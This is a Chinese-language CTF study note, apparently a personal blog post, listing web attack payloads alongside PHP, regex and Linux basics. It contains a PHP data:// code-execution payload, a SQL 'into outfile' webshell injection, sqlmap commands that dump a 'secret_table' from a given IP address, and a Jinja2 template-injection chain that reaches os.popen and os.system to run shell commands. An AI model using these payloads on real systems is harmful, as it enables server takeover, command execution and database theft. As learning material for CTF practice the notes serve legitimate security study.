关于一些常用的payload

这是一个在网页中输入的可以保证使用的payload,通过php文件可以看到很多东西

1
xxx.xxx.xxx.xxx/?***=data://text/plain,<?php *** ?>

利用sql语句注入一句话木马的payload

1
select "<?php *** ?>" into outfile "路径"

linux的常用命令

查找想要查找从根目录 / 开始的文件名

1
find / -name "文件名"

查找这个文件后面的所有文件

1
find / -type f

php中的一些基础函数

var_dump()函数

这个函数是用来表示一个函数的类型和大小的

mb_strpos()函数和strpos()函数

这个函数是用来用在要检测在字符串中的子串第一次出现的位置

1
2
php > var_dump(mb_strpos('开始23测试ceshi', '测试'));
int(4)

注意:这个是按照字来处理的,也就是说是两个字节

strpos()函数是差不多类似的,但是就是按照字节来算

1
2
php > var_dump(strpos('开始23测试ceshi', '测试'));
int(8)

并且如果没有这个子串,那就是整个字符串的长度

in_array($x, $y)函数

注意顺序,这个是表示x在y中

sqlmap的post注入用法

方法一

sqlmap的post注入需要一个参数是注入点的参数

我们可以使用形如

1
python sqlmap.py -u http://111.200.241.244:50506/ --data search=1 -D news -T secret_table --dump 

这样的形式直接获得数据

方法二

先在burp中把请求保存成本地文件

1
python sqlmap.py -r 事前在burpsuite中保存成文件的数据 -p 参数 -D 库名 -T 表名 --dump 

实例

1
python sqlmap.py -r C:\Users\ethanyi\Desktop\post.txt -p search -D news -T secret_table --dump 

正则表达式

正则表达式有些是以下方格式(在javascript的match函数中)

1
2
/^hfuhfa/
/hsofhsudo$/

其中^是表示了匹配开头是那个的样子

$表示匹配的末尾是上方那个字符串

javascript的eval函数

eval()函数中的参数是一个字符串,这个字符串是可以执行的代码,eval函数的意义就是使用这个代码来执行

关于php

php的==和===

==在php中是指数值比较

===在php中是数值和类型比较

举个例子

1
2
3
4
5
6
7
8
9
10
$a=1;
$b="1";
if($a==$b)
echo("true"."<br/>");
else
echo("false"."<br/>");
if($a===$b)
echo("true"."<br/>");
else
echo("false"."<br/>");

结果分别是true、false

除此之外:php中,非数值性的字符串和数字比较时,字符串会先转变为数字0,再来和数字比较

其中:

1、形如”aa111111”的字符串,会直接变为0

2、形如”1111aa”的字符串,会变成1111

3、形如”aaa111aaa”的字符串,会变成0

4、形如”111aaa111”的字符串,会变成111

(别问,问就是试出来的)

SSTI模板注入

SSTI(Server-Side Template Injection)服务器端模板注入

python flask模板

1
在flask中:使用Jinja2模板引擎,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

一些payload或者说魔术方法

1
2
3
4
5
6
7
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

有用的payload

1
2
3
4
5
6
7

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['
os'].popen('ls').read()


''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['
os'].system('ls')

详情可以看https://www.freebuf.com/column/187845.html,我觉得写得很详细

os.system和 os.popen

这两句前者返回 退出状态码 , 后者 以file 形式 返回 输出内容